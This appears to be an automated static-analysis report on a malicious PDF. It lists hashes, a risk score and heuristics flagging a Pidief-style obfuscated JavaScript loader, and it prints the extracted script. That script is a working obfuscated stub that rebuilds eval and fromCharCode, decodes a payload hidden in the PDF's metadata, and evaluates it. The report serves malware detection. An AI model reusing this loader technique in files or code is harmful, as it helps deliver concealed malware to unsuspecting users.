Malicious PDF — malware analysis report

Static analysis result for SHA-256 3cce5b3f0d6f7432…

MALICIOUS

PDF

45.0 KB Authoring application: substr First seen: 2012-10-10
MD5: 56713c320afdb30acec1e38b98602cd3 SHA-1: ecfb75d107675738b86508348fe1210b99dc9c94 SHA-256: 3cce5b3f0d6f74320d024ec0f5535bc258e6bd05cdce2b41dce03e8808d16082
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB11B 497 bytes
SHA-256: 728eedd2a69911ebe249be35e100cf3ef42a1e4304f4bfa7e7350c925dc473a3
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='e';
a=c.concat('a',"n","b","w",b,"o");
s=a[t.length-2].concat(b,a[1],t[0]);
e=v[v]()[s];
ykro=e(v[4]+'i'.concat(v[4],t));
q=ykro[v](a.length-6,a.length+2);
gnty=e(v[0].toUpperCase().concat(v[4],'r','i','ng.f',q[4],a[6],q));
q=ykro[v](t.length+12)[v[0]+e(v[0]+'u'+'b'+'jec'+v[4])+'t']('c');
k=q[t[0].concat('en','gth')];
i=t.length-2;
while(i<k){
	pstx = 1*(q[i]);
	i++;
	pstx -= (-1)*(q[i]);
	s2 = s2.concat(gnty(pstx));
	i++;
}
e(s2);

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